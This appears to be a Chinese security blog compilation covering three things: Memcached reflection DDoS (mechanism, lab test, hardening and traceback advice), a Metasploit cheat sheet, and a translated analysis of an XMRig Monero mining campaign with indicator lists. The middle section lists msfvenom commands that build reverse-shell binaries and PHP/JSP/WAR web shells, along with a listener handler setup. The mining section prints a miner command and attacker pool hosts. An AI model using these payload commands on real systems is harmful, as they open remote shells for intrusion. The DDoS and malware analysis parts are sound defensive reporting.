利用Memcached的反射型DDOS攻击

0x00 影响面

最近几天,Memcached反射DDOS流量突然增大,引起了国内外多家安全厂商和机构的注意,我也在第一时间持续关注跟踪相关事件。

根据shodan的统计,国内受影响的Memcached服务器大约有27300+个:

全球受影响的Memcached服务器大约有119000+个:

DDoSMon统计的Memcache DRDOS在现网中的情况:

0x01 Memcached 反射DDOS攻击原理

什么是反射DDOS(DRDOS)

反射DDOS是发送大量带有被害者IP地址的请求给反射服务器,反射服务器对IP地址源做出大量回应,形成拒绝服务攻击。CLOUDFLARE的这张图很好的解释了DDOS反射攻击过程:

UDP反射放大攻击需要满足的基本条件:

1.攻击者,需要能伪造IP,并发送大量伪造IP的请求给反射服务器。

2.反射服务器,上面需要运行着容易放大反射攻击的服务。

3.反射服务器的响应包最好远远大于请求包。

4.反射服务器对应的协议或服务在互联网上有一定的使用量。

本次事件中,攻击者发送大量带有被害者IP地址的UDP数据包给Memcached服务器,Memcached服务器对伪造的IP地址源做出大量回应,形成分布式拒绝服务攻击。

本次攻击的特点:

1.memcache放大倍数高,最高可以达到51000倍左右。

2.可被利用的memcache服务器(反射服务器)数量很多,而且这些服务器网络拥有较高的带宽资源。

下面这张us-cert的表详细的给出了各类反射攻击的放大倍数:

仅从放大倍数看,memcached 反射DDOS危害要高于其他类型的反射DDOS。

Memcached DRDOS攻击流程

1.收集反射器,扫描端口和服务,获取不需要认证的Memcache。

2.上传指定数据到远程服务器Memcached上。

3.攻击者将自身IP伪造成攻击的目标IP地址,向Memcached反射服务器发送请求读取在Memcached中存储的数据。

4.Memcached在收到请求后,向伪造的IP回复放大了几万倍的数据包,造成反射DDOS攻击。

0x02 Memcached环境搭建

系统centos7

安装:

1
yum -y install memcached

将memcached加入linux服务:

1
chkconfig --level 2345 memcached on

vi /etc/sysconfig/memcached来修改参数, 修改memcached的参数,主要涉及memcached启动绑定的端口、用户、最大连接、最大内存等.

1
2
3
4
5
PORT="11211"
USER="memcached"
MAXCONN="1024"
CACHESIZE="64"
OPTIONS=""

启动、关闭、重启memcached服务

1
systemctl start/stop/restart memcached.service

修改完配置参数后,需要重启memcached服务来完成参数的生效。

可使用memcached-tool来检测memcached的服务状态:

1
memcached-tool 127.0.0.1:11211 stats

正常情况下显示如下:

0x03 DRDOS攻击测试

蜜罐搭建成功后我们对它进行了一些测试,让我们看看反射放大效果:

可以看到,本次测试放大倍数基本上稳定在2w+多倍,太恐怖了。

形成的攻击报文如下:

0x04Memcached反射DDOS防御

Memcached攻击流量清洗
  1. 运营商处在边界配置UDP访问控制规则和BGP FlowSpec策略,将源端口为11211的流量进行阻断或限速。

  2. 不具备路由权限的企业客客户,可以在抗DDOS设备上配置防护策略,同样可以对端口为11211的UDP流量进行阻断和限速。

Memcached系统防护加固

默认情况下Memcached没有配置任何认证鉴权措施,对所有网络可达的客户端可访问。为了避免Memcached系统被攻击者利用,各开发者和memcache管理者,需要对Memcached服务进行安全检查,进行一些加固。

1.配置监听地址仅限本地回环地址

在 memcached的配置文件,或者启动参数中,使用”-l 127.0.0.1”指定监听的 ip 地址。

2.配置防火墙 ACL 策略

使用 iptables 等手段控制 memcached 的端口ACL策略,示例如下:

仅限来自指定 IP 段的访问

1
iptables -t filter -A INPUT -p tcp -s 192.168.1.0/24 --dport 11211 -j ACCEPT

屏蔽任何其他 IP 对 Memcached 端口的访问

1
iptables -t filter -A INPUT -p tcp --dport 11211 -j DROP
3. 配置认证鉴权策略

Memcached 1.4.3 及之后的版本,如果编译时开启了 –enable-sasl,则可以使用 sasl 配置认证。

安装

1
yum install cyrus-sasl

设置用于 Memcached 的 SASL 用户名密码,运行以下命令,指定需要的用户名,然后输入两次密码即可:

1
saslpasswd2 -a memcached -c [customized username]

由于 SASL 账户密码默认保存在 /etc/sasldb2 文件里,但是该文件权限为 0640 或者 0660,对于运行 Memcached 的 user/group 不可读,因此需要做一些权限上面的修改。

配置该文件的属组为 Memcached 运行所用的 group。

1
sudo chown :memcached /etc/sasldb2

配置 Memcached 启用 SASL 认证在 memcached 的配置文件,或者启动参数中,使用 “ -S ” 即可开启 SASL 认证示例配置:

1
2
3
4
5
6
7
8
9
PORT="11211"
USER="memcached"
MAXCONN="1024"
CACHESIZE="64"
OPTIONS="-S"

0x05 追溯处置措施

这种反射DDOS攻击源追踪难点在于准确定位,在被攻击端,看到的IP都是真实的IP,都是被利用的反射放大节点服务器。和直接攻击不一样,因为有反射的因素,这时候看到的真实攻击IP不是真正的发起原始流量的IP。下面结合以往追溯DDOS攻击的经验给出几点建议

反射源上找线索

通过memcached蜜罐监测,看初期的信息采集阶段(比如找可用度反射放大源)很可能用的就是自己的IP,各种小动作会露出马脚,再多个维度关联,有时也能找出攻击者。

失陷主机上找线索

在一次大流量过后,访问量高的IP都可以列为可疑目标,重点排查,尤其要注意筛选ICMP数据包,一般情况下攻击者有个习惯:就是在攻击的过程中和攻击结束都会用本机ping目标服务器,查看目标的存活性。如果运气好,能找出攻击者。

运营商配合定位攻击者

通过memcached蜜罐的监测,根据以上测试过程中得出的Memcached DRDOS攻击的流量特征,和运营商配合,看哪些子网有非自己段的源IP流量出来,然后再做端的流量监测,比如HIDS,即为可以找出可疑IP。

metasploit备忘

Creating Metasploit Payloads

List payloads
msfvenom -l

Binaries

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

Web Payloads

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Scripting Payloads

Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f

Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

利用XMRig的大规模Monero挖矿行为

昨天,Palo Alto发了一篇关于通过开源程序XMRig进行挖矿的行为报告,最近我们也在处理相关的事件,本文会结合我们处理的一些问题对Palo Alto的报告进行一个简单的翻译,文末有一大波IOC信息。

January 24, 2018,Palo Alto发了一篇关于通过开源程序XMRig进行挖矿的行为报告,最近我们也在处理相关的事件,本文会结合我们处理的一些问题对Palo Alto的报告进行一个简单的翻译。

0x00 概要

根据Palo Alto的数据,此次事件的受害者有1500万人,主要分布在东南亚,北非和南美洲。实际受害者可能更多,大概再3000万左右。

攻击者大量使用VBS文件,并使用各种在线URL缩短服务来安装和运行XMRig payload。另外,攻击者在他们所连接的主机上利用XMRig代理服务来掩盖使用的钱包。

0x01 传播

目前为止,在这个Monero加密货币挖掘活动中观察到超过250个独特的Microsoft Windows PE文件。

其中一半以上的样本是从4sync在线云存储提供商处下载的。不幸的是,还不知道是什么启动了恶意软件样本的这些下载。

但是,当我们查看原始文件名时,可以得到一些线索。下面是观察到的原始文件名前缀的百分比:

正如我们所看到的,攻击者希望使这些文件看起来既具有通用名称,也似乎来源于流行的文件共享服务。文件名还以其他方式提供线索,就像“[File4org]”这个前缀对于此特定恶意软件活动是唯一的。

Adf.ly是一个网址缩短服务。根据下面报告,很多Adfly URLs是恶意链接,用户点击短链接,下载cryptocurrency恶意软件到他们的电脑上。

figure1

Figure 1 Reddit user complaining that they downloaded the cryptocurrency malware due to a malicious Adfly advertisement

img

Figure 2 YouTube user explaining how they downloaded and ran the cryptocurrency malware

img

Figure 3 User explaining that they downloaded the cryptocurrency malware when attempting to download a counter-strike: Go cheat using an Adfly URL. Translated from gutefrage.com, a German question/answer website.

值得注意的是,图2中,受害者点击Adfly广告链接,认为是视频中提到的文件的下载。然而,下载了有问题的文件,重定向到Monero挖掘恶意软件。

0x02 恶意软件分析

这个Monero挖矿恶意软件有很多特征:

  • 通过VBS文件执行XMRig挖矿软件
  • 使用XMRig代理服务来隐藏矿池目标
  • 使用Nicehash

NiceHash是现今世界上最大的加密货币算力市场, 随时可为算力买家提供超过20种不同的算法的算力.

在过去的4-5个月里,Unit 42(Palo Alto Networks)观察到了这些攻击者如何部署他们的恶意软件的变化。

截至2017年10月20日,此活动背后的攻击者严重依赖Windows内置的BITSAdmin.aspx)工具。这个工具允许攻击者远程下载脚本和XMRig挖矿工具。恶意样本的典型工作流程如下:

img

Figure 4 Execution workflow for the oldest malware encountered in this campaign

删除VBS和LNK文件的初始样本是一个自解压缩可执行文件(SFX)。这些可执行文件在俄文语言的提取脚本中包含标准注释。用于下载附加示例的VBS文件很简洁,如下所示:Monero_5

Figure 5 Example VBS file observed in the oldest malware encountered in campaign

最终的payload主要是安装”msvc.exe”。有一些是包括”winmsvc.exe”或者”onedrive.exe”.这些payload被丢弃在受害者的%APPDATA%文件夹中的一个子目录中。最常见的子文件夹名是”msvc“。

第一批样本在2017年10月20日之前被发现,他们通过80, 443, 8443, 8080, 1725, 或者123端口连接到相同的XMRig代理服务:

  • a.pool[.]ml

2017年10月20日之后,攻击者开始尝试修改恶意软件的运行方式。他们不再使用BITSAdmin服务下载,并开始尝试使用HTTP重定向服务。在此期间,他们继续使用SFX文件下载和部署恶意软件。

Monero_6

Figure 6 Execution workflow for the second phase of malware encountered in this campaign

从这批恶意软件样本开始,攻击者开始用一个用户名补充他们的挖掘查询,可能会区分特定的分布式攻击波。下面是一个矿工如何运行的例子:

“C:\Users\Administrator\AppData\Roaming\mnxz\msvc.exe” -o 144.76.201[.]175:8080 -u x3 –nicehash –max-cpu-usage=20 –keepalive

这些用户名在整个挖矿活动的其余部分都会继续存在,截至撰写本文时仍在使用。观察用户名的完整列表如下:

  • x3x2
  • x3
  • x2
  • x7x2
  • x7x3
  • x
  • x6
  • x7
  • x4
  • x5

在这段时间内,攻击者为了逃避检测也开始在VBS文件中进行混淆尝试,如下所示:

Monero_7

Figure 7 Obfuscated VBS file used by attackers

攻击者选择的重定向服务通常包含以下内容之一:

  • clicklinkredirect[.]com
  • clck[.]gg
  • 99lnk[.]com
  • 1395867912[.]pw
  • browge[.]com
  • lnkredirect[.]com

应该注意的是,上面列出的所有域名都托管在德国的一个IP地址144.76.155 [.] 139上。虽然bitly多数情况下的用途是合法的,但是144.76.155[.]139这个IP托管的重定向服务专门用于和加密货币挖掘活动相关的恶意目的。与所遇到的原始恶意软件样本一样,攻击者通常使用名为’msvc.exe’程序来投放payload。有时候也以“ErrorCheck.exe”和“CleanError.exe”命名。样本的子文件夹主要是“msvc”,”mnxz”,”mnaxz”.

在此期间,下列XMRig代理已被恶意软件用于连接:

  • 5.101.122[.]228
  • 144.76.201[.]175
  • b.pool[.]gq
  • f.pooling[.]cf

从2017年11月16日开始,攻击者再次改变了他们的恶意软件的策略。他们不再使用SFX文件,而是转换为使用在Microsoft .NET Framework中编译的可执行文件,该文件将VBS文件写入磁盘并修改受害者的运行注册表项以确保持久性。img

Figure 8 .NET dropper file used by the attackers writing the VBS file to disk

这个恶意软件通常以“msvc.exe“或者”mingc.exe“传播。此外,在这些样本中都有唯一的PDB字符串,这些样本始终对编译它的用户使用相同的用户名。

在所有观察样本中发现了以下PDB字符串:

1
2
3
4
5
6
7
8
9
10
C:\Users\роаипроаип\Desktop\MingC_Installer\MingC4\WindowsFormsApplication1\obj\x86\Debug\WindowsApplication.pdb
C:\Users\роаипроаип\documents\visual studio 2015\Projects\WindowsFormsApplication1\WindowsFormsApplication1\obj\Debug\Inst.pdb
C:\Users\роаипроаип\documents\visual studio 2015\Projects\WindowsFormsApplication2\WindowsFormsApplication2\obj\Debug\WindowsFormsApplication2.pdb
C:\Users\роаипроаип\Desktop\MingC_Installer\MingC4\WindowsFormsApplication1\obj\Release\[File4org]_421058.pdb
C:\Users\роаипроаип\Desktop\MingC3\WindowsFormsApplication1\obj\Debug\[File4org]_421058.pdb
C:\Users\роаипроаип\Desktop\WindowsFormsApplication1\WindowsFormsApplication1\obj\Debug\Oal.pdb
C:\Users\Роман\Desktop\MingC2\WindowsFormsApplication1\obj\Release\[File4org]_421058.pdb
C:\Users\роаипроаип\Desktop\MineCor\WindowsFormsApplication1\obj\Debug\[Dropmefiles]_421057.pdb
C:\Users\роаипроаип\documents\visual studio 2015\Projects\WindowsFormsApplication1\WindowsFormsApplication1\obj\Debug\65453.pdb
C:\Users\роаипроаип\Desktop\MineCor\WindowsFormsApplication1\obj\Debug\[File4org]_421057.pdb

读者会注意到大量存在用户名’роаипроаип’,这个用户名粗略地从俄语翻译成毫无意义的’roaiproaip’。此外,还有一个观察到的“Роман”实例,大致从俄文翻译成英文单词“Novel”。

我们所看到的最后一个变化发生在2017年12月下旬,当时攻击者再次改变了用于部署恶意软件的dropper。

丢弃.NET,他们用Borland Delphi编译的dropper来创建必要的VBS文件。与.NET droppers不同的是,这个特定的dropper将VBS文件放在受害者的启动文件夹中以获得持久性。否则,执行流程保持不变。Monero_9

Figure 9 Latest malware dropping the VBS file

值得注意的是,使用这个dropper观察到的最新样本已经使用了以下新的IP地址用于XMRig通信:

  • 5.23.48[.]207

0x03 影响范围

正如之前解释过的,在十月下旬和十二月下旬之间,攻击者严重依赖这个恶意的URL缩短服务来下载并随后执行XMRig Monero挖掘过程。所有恶意的重定向的完整列表在附录中。Bitly提供了围绕特定缩短网址的通用统计数据,这使得我们能够深入了解有多少受害者实际下载了这些样本。总的来说,我们观察到大约有一千五百万的受害者连接到这些URLs。Monero_10

Figure 10 Malicious bitly downloads over time

虽然大多数国家都受影响,但似乎东南亚,北非和南美国家受到的冲击最大。

Monero_11

Figure 11 Malicious bitly downloads by country

最常见的国家及其下载量如下:

  1. Thailand – 3,545,437
  2. Vietnam – 1,830,065
  3. Egypt – 1,132,863
  4. Indonesia – 988,163
  5. Turkey – 665,058
  6. Peru – 646,985
  7. Algeria – 614,870
  8. Brazil – 550,053
  9. Philippines – 406,294
  10. Venezuela – 400,661

正如我们以前所说的,只有一部分样本使用了URL缩短服务。事实上,250个样本只有大约100个使用了它。这使我们相信,受害者的数量远远大于我们观察到的数量1500万。

0x04 结论

通过恶意广告针对随机用户,对恶意软件文件使用看似无害的名称,同时使用内置的Windows实用程序和脚本文件,攻击者可以大规模感染受害者系统。

正如我们所看到的,随着时间的推移,攻击者对其恶意软件工具集进行了迭代更新,每个月都在改变他们的策略。根据SFX和.NET droppers提供的线索,有一些边缘证据表明,袭击者可能位于东欧。迄今为止,已经有至少1500万受害者。这些受害者遍布全球,但最重的目标地区包括东南亚,北非和南美洲。

Palo Alto Networks的客户可以通过以下几种方式防范这种威胁:

恶意软件使用的所有URL都被标记为恶意软件

所有观察到的样本在WildFire中被分类为恶意
陷阱可以通过WildFire集成来阻止这种威胁

附录

XMRig Proxy Connections

5.101.122[.]228:8080

5.23.48[.]207:7777

144.76.201[.]175:80

144.76.201[.]175:8080

f.pooling[.]cf:80

b.pool[.]gq:80

a.pool[.]ml:8080

a.pool[.]ml:123

a.pool[.]ml:443

a.pool[.]ml:8443

a.pool[.]ml:80

a.pool[.]ml:1725

Malicious Bitly Redirects

hxxp://bit[.]ly/2j3Yk8p

hxxp://bit[.]ly/2hxuusK

hxxp://bit[.]ly/2C7caP6

hxxp://bit[.]ly/HSGADGFDS

hxxp://bit[.]ly/2yV0JNa

hxxp://bit[.]ly/2Algzhc

hxxp://bit[.]ly/2zA08wz

hxxp://bit[.]ly/2hcsSUN

hxxp://bit[.]ly/2hr6KGb

hxxp://bit[.]ly/2xOVfPH

hxxp://bit[.]ly/2BoFNMr

hxxp://bit[.]ly/2xlWVQl

hxxp://bit[.]ly/2kEApR6

hxxp://bit[.]ly/2AkVK8t

hxxp://bit[.]ly/2yyUhLX

hxxp://bit[.]ly/2AkyUvs

hxxp://bit[.]ly/2zXRI6r

hxxp://bit[.]ly/2jjXmbJ

hxxp://bit[.]ly/2hzW6Rb

hxxp://bit[.]ly/2mkHzdP

hxxp://bit[.]ly/FSJKHJK

hxxp://bit[.]ly/2gB0ZW0

hxxp://bit[.]ly/2ixSCPu

hxxp://bit[.]ly/FSFSAASA

hxxp://bit[.]ly/2A5rxKB

hxxp://bit[.]ly/2xbUmjC

hxxp://bit[.]ly/2EHv415

hxxp://bit[.]ly/2Aq3gja

hxxp://bit[.]ly/2Bhr1tv

hxxp://bit[.]ly/2ynGl7o

hxxp://bit[.]ly/SOURCETXT

hxxp://bit[.]ly/2zGXAQx

hxxp://bit[.]ly/2hEhF3i

hxxp://bit[.]ly/2y3iGnG

hxxp://bit[.]ly/2ic2mvM

hxxp://bit[.]ly/2itoMrG

hxxp://bit[.]ly/2yvqOSU

hxxp://bit[.]ly/2zCj1n2

hxxp://bit[.]ly/2jEqYks

SHA256 Hashes

9854509ff8fab00e37fe07260a467b9520f3c0c6a0051b34a928258717e65b38

27bd82de7b2532a954fdcd12ecd791be8bbdb402466902865e257e537bc3268a

211ece6a0cc084f1253abe5d74e8d5faef5b7a9d2acafcaa5bbc53fe7d6f815c

760eaa1dced0c000853a5dd01756c63b358e3894e9c8b1e7416538dd1858761e

ffa7cd55b76a87153b50f4cb23cd03f2a9726e0b77cd8ced478794869877f8c8

99ad9f17956fb69b9d8f1d69c66337fb1f53e4b94870296e5e4a32c4f5c0f609

b1f40ea5ea6eca96a30dc5ab198f0e6904cf18de43d80595483d938292fa1717

51deb82ed3d442f0c2c96b63cf3ac87781cf703367228bbcf066202ff74d67b5

0a4377fbb8bb66cd80a48c9b9b407c9d2f1eaa2cab70c12121370f3ebacc5f41

e7aa5ded306d2ae02deaeb08e8d7ceb73ac2e77a2fff2dba35d42605ce9a9b0d

378d5d5bdf1cc7b91c59c1a839b57d5b2468097cf45ff078391bf3f1d95e6197

c65654eba008243779ea54fb18cf1c7f1c70edd2a0933dea19bbfabe12f74131

cbd16230248ac12c710d6e645864154fe23f33f5214f28e5dfb4e65728f4a95a

b7b5b255b7a668c9d5c287516e553ad1a33160d52804fd357a8d413fd2a9cd46

6e96ae1a7ba02486e0c31b840b32620405073131b9c9dc56f17de1cf4866d51e

1c4e7388809d71a7fc021c55532a30949031474f4f3b147b0c468a1b27c9ff74

a67572e6427b76d73bca63357d716748263beb5cbf7edf923ac3c7f6f214733f

2ce678eb7d35d60b4c4b4f73d63b3a4fce1b4da1c39160cb78040577ae16c1c9

8ac42287623d4be135daeaa9b8d906b017fd565549793666cab98defb3474639

65c7ef9acd5382b2f29d08593bfb84b2e774d9290afae1591b1d1c81b6b9dea2

a9861f341ad5a6ea0514d217ba43aa91d6014111846bc3d902c3256427a13031

a00d71047066cd2c1be2e5ab1ce1e5d107f2ac7a11f64ec6a04c093674bdd542

7c758b903654313928bec9929477a6d859de97ee42b3aa4c3ff278ec3faa07e4

198cd118351f15d24b584e7b91bed2f23af210c54df65859d29814899e64e87f

4ad4f390d252b9dc636fb2d423d15d4f4a89d4a2ffbaf2c0ab4667640fae61b1

92f66ba544616079d811930510ff5df1f0969f1818ecb3f5313ad1e9b0ae04e3

efa20de096ba6342b9af0369ec92bdc2659b7c81aba28f2c115b09c5f64280a3

28aa000367fe83cae1bbc3bde608fa8e9bfb1e55d219bdcdfd30a2979825fed3

9c6adb5026e152307f4a8f194d09554cde725cb17f9bb5259fac8083ffc00f62

56f7c101d2abffcfae91509950da7fe243d74b292947ae7f8075fd9b6221ebbd

0e1f82ac5acca3f826a2e5d9b5a3ba43431990aa0d0165c88ac5e0c7c84232ed

534b54cea7b3c337f40ac5b0cf29cd4a0d9fd66369773f670a8192f85b008f2f

483960f8f44f2f2d1467d3c7621063664e5f3ad43716db55d69f5c60bcda6b3c

c786bd8ce1c856df4ebd52814f92b525e0a33af8abd86a246ee66c6ae88d38fd

530871bd6a19a34e98fbb94e5c63d252f47345ed143cebb597d0389fbf239194

db55fd8a332b0495b678c513b9013b34d09e3281d6b594a8b2cb290cd264f456

d73ee4bdd3d6cbe3f68b0b11f8d74ac9b1d32bd9ae7dcf7ff7c5b4723ed5f3c4

42804cdf893b5087872081dbcc1bf1c9346ed624e5eddcb0638cce61f351907a

bbf3674ebe1948bfccb4de3b604b0bd052c1340e754ee7b81df697e16cdefd7a

96a62130df62ccb19a1a31264fdf379431e98859de63f5bf01773d51774ab275**

f0f88095dc0e9a4b848f44e866937e70552a195804b867682453bc38abfb0359

273ce573ecf145687d494e040e548b5f2a954b34a3cd87d495f7a9418f540d29

b014dda9d7772d25ad82a3b7d63baea562883262e59d2cae5190fdd8b7c2ea8e

a268ddaa57470ca20556641c5072d15d8e06e8f359af31ae39d75c280276bb3f

d80493e4aa95dd3a524b8feed7bc1c183d5aa666fea4d761658ace23b4083db6

743e3615e3c70a71026a304e8139644eb3080c2d703083a1f543fb329079b9c5

6ba40196d339a5b73679ef8239db823d7111e07e812a9048c44381e2561599e1

8d779ad637a1d8c42a8c73736eff1eed0f493cba437566f3b78f080c05709aee

b6227e13e57676c7452b744051db22de7bc5517ca64d2cff04324181be64ebad

e0134955c1bc512f46fd90c37ca4e2946e4c00ca105de4ffb465e6d3efcf2fe5

5bdb864363a02ef1c39192fc5941d08e5637c8d3ff88f2d1548c886cf154d11d

6489cddbc414ccf8b7fb52d4b73260c48c51d92d403a937c919007d8b189f721

56406274e20c548f794044e25613c21108da55adc72252bb4e94d2d4e3aa0997

c1b5a8ab1d3aa78372fa90fa49fe4a9271362ae3e82eb601336dc9035b9ca078

5eb5a96c67c61badcbe1d2bcc733f0b667224eab9943ead7f3b6409c3cecaab2

9641386a29614f5cca303e2088ab00c720dfcd41b6a3f162548804e028ce86e8

0ef8d930b4bcc1c5aeda5d7fad73adbadc8f0b9187d2f25ec9cf8cbc271fdfd8

2da27931fabf48bd3661bad99289d7f218aa758f581bbc213235915809c6c79f

1b2ffb7f06d04f5417d272ca55627e4000dfa4371234856100023016bfa2fbde

de04f1b184e9658829273c0d6922864e87f7a62b395b69a0e616be53701508d9

0fd91e64a0b9fc0e8ed915c5f574f08ee276edc2b6cb5c374e7db6faa748dedf

b008f2dac98e54ca82d468063fb2df957ef3f08082409ab57279b37a46f862c8

0dc32454909f48fcbcd0460da9b22fe43ce7a816eb032e38780aeca993f288ff

90fdf62ed73ba9e264be72804d7c4325219eb8576f552b283d2c2f88d39994c3

e4df13b4f31f2505a82340b60d144d8bda03075fdd12be6f66baf38c6dfc78f3

60c439d6d025bf948a447d9223763a255cc15cb2df2db7a8dab6a5a27242feb0

5aa2a88bd729232acf4bb350ca1801755fcd562a5297b41a70f81c98f0e3c27f

24031b60c0485eaa11eaee1a5799503927799042d373bfef7d6aa23b1f9e1076

86b2f50b9e5ccadedbb2a2114538947a01dea49e3b20cc79cf249a0f1b3cc130

ffa7c9701d1b4f4f00da45652403cac843276cc72138d7d1a30dcac660bd45a8

1eafcb280df27d39c19b325366804c602a8f70f655d9fda227b5ff69768f30cc

dbb0d7c2bf65d46d7c61f71e977d077959e8ec926a540b12043ed78de50a3d83

1d1e2c6acedb17730f104fc1c1a1154ef312a99ed1dab65bb33aaf587e9ca3b7

2369f3250fa52d53d7a8f8d0b3b7addad0757d642fa9303f830944d1e27b862d

fda651a5fba8558677d9647bb0938c10b4c16b6b7b311402c96d59f4efbbeeea

447da9f937cae3841d397166b24586d88d48f6de44ad953b7c5243cb8f0fc150

7b5b9c9528358db7012f6f9ae607f8792124de1b8dce8a4b0710238e9f5179c6

bb8827a6cad2fa45de912cdb6ea8b8bc9b5d0403476d73eb2f38dc7c4ccc5c6d

126b36eb3aab62a03671fe5364cfb7c4b290e77d189fb4c86a37a570977375b7

dee1ee50d2f77ba6382c8270c8dd832815571c547cb48dcadb0a420ddbf9b4a4

f0082fe2399772d2045244cd0539f85d3a8b2414be4a020c78d8bcf072576f93

f5eaec6491ffbbd8a02a6e0316362b4ebea73cc71407704cdc7dfa027d882554

8629c3b7383dcfff1cb191692f374c5aff01b9ee0ba4810843c7e23c3af7716e

0e4212a85ec0213dd749fa8355a0d48fdbd02cfc2a35191c8eadd4f8195a52c2

d30e033ec02b84fbc350dbb01a708e1258c212d58316f49318ee86da05b22e88

268ff015b20542c5052c5623a6b9e432f0d344a1cfc275500f6a882496aa6928

c53f1e93859cd171cf8ba0639520d32a73ca26a9bf924b00d586b36be47dea9e

a76c23385d806d85544d1b653253f7d0dac9f737c4520179ff5ced5922237da0

3d100a7cd2dbc5ee1fb556f40f7a3c4d29284d8a009c0804e632e0c42307d85e

7de0bb6673f010338fe4f0c55538fc7f47d92cfcd37c0dbecdc311cc2b55f1cd

538ce967ae115fb5ffb090f4c133f20c0c6ceb5c67c8aeadc59e47cb498fd819

804c730864ef674e696cdb915701889a3b8a11abc46f14580cb710d25d86401a

cfcd15c6c2ca6f0f7b9c3eab9af99bcb846af2b0f352620f9c4b80852b548c17

bad5e8953ca0ee8c06027680af71c30d1785d0741e23360c352f622274d51a72

b043e53213e141f8988537a9e315563079bb6c0ddd339b05db36590e187f4d2e

4bde85795a657460b9d99e3b3c9d120be27f645f828cb97f6929ea8dc44e2791

9e39850693851da2317f49aa4df5727929c852f27ada6d69ce0323f5374ac181

8cfce10bb4e5b84731bc14e7100433744b126d3d5272bf754a5f95c17549a712

3111c755bc0fc2428873b7ad6272078cea863a2304f6388ca65e598bc2de7190

c90c33a40180c5aa3b514ca41cb3dc4615bed1bdc8c0572482f7a8766316dd2d

b22573436f1f6f1dc5c023a4c72b497a3ad219d801fd569d3fda9ced7e9d66c2

43942883332d09ea48b6926d5e670a86cdb9e09bff8928f40c93095f4fcb796d

220ba3c2d8f5638c44005866e814a4f6ba502b8f01b8db7218a87bc1e7700c8b

f2ada4133eb79c78207935a9a27d657480489953cfe93c8b0f88147117b47c33

170e8484ddebfe84dfe4b80cf0cf3ee03b03a15898a567f07b0382e76c0b433b

81aca5cfe7f8476a49aa51ce4f7b71faef7b3b8e208f5b77e7209fc0391ad2a2

ba0779de750bd1a2cd8879de506778e1b36589f91cb37aaf7e9913d7cd27431d

261d731390a9a73495f2fd772b0e28ef68c3450db51bf9948a8b4fe32592c36c

9babfee6e12d17545db3cd6968a1fb61bf548cf0204b90ef2c1ebcd66e20aef0

344a5d9864baf9e274f2d65600f717881c034dd9156167bfd8654c7e732d12d1

5cd5cba3a11ba6102d9086795561376412fc201e2d49ec00039f1a553f7a32f5

d05b329848fc939f6a3fb4f2e40bead858b4994b681648c09ae30587e5a2b8b3

c6a8cf482cc79a40c0f48f48ffd8ebf992328f73210f246f0dc64661eec04901

e773dfa365a33ae4159ad179de58288910d4f785f6ac72f805f305ffcb85e709

66e2575f658ffb972dfb76768031f6a8998ea71c6c758c872631b5ec6e7f3010

4350ff8266535c9258f24af86502e7e06c88fd67c3936c688f270c9f42d731fd

c94b77e2810b6e41e6168bf7cf78f6aea29391fb616f36ecb66ab5b1b3038240

ec3e601df45cffb358766ec849abda6562ac67323366e906779196d19e1344e6

b89d221fdc999f18db022522e3e987868414e11ed96e0d3b135a23d99895303d

948679b70c888c8e2d63f09abbd59c26fe6740779d76f2f72e97938ef232c1f4

d525b9c49914a2779478fb327fe8c57b5e17fa8f583c50528f1a19262ee73f4d

45848953386219205bd0c9a580c54ee102d5915bcd7fe882306c8051ea182580

f2ffac424ac0b9d85fb723862cabb6bcc70133777ec6811eb52f47743dcf273a

d8884912854923e55fa0b850e3370389aeccff171f7c3207bb1d60a98cf6f767

88bca86065e047293dbf41c37e9ba764b616f083304473abfd0e9b5b80d1231b

2c1ca4772dcbf8cdba3a4515d0f4f0ae1a29b6d2816dd1743a919da89eb2fc40

811e01073c90f68b22d7fbfb4f91ac95f0574b815900d179b9ac73005bc9d90a

d3128c20d87ae111a5817832ef09007411b2f62b1482e58ad5b5c4ec72282edd

b8a09a6b3ef56898c433caf67b7a11f2ed9b3409b36a6796e40c9357897f6949

644ebe7161c16f5a3d104c35d7a8827c50917e2a35c4eeb78cb46c13303cb633

85c2caeffcefe6e08efac133e804b12c4c7151bb349dbddc4a4cadd3b577f95e

dcdca2fb3a9185863abcea0c677b0a77de365ce1caba4c87dd68b59ca5c297b5

218dc474e7a8e92af183b39a3485eee08168d3449b55baf022d3afa86ba9c83d

e8ff1d3dead4572734f34048fc572d12190296c4877b777585e969a9391a2ffa

13dca944708497bf99137b5c1182d74d9c6a2be5015a3ac9bdf901ba55317ce7

1cf15ed88bb4b60237c569f50f97de8a72595d8a4dc58fdcba64216ee8994a7a

94959177e4def7047c01b9f6e6c56419be9effd59d5845104b399fdee4056d1b

fa171b9a49104b870d0e486a9f3c6f74f01adba346d7e65e20160567c2ad2fae

92c4b122cbbb308e1e8f4f3850a647ae0d8e337ab069f9f87da7c09542519928

af6f8d89faae26fd019380ca20c97bb706d2ed8935e31d81e1e4ddea9c309472

a7f41a5ee7cc229cb5a13fb5dc8c62f94901d3a59bac9b6efe071832d52578e9

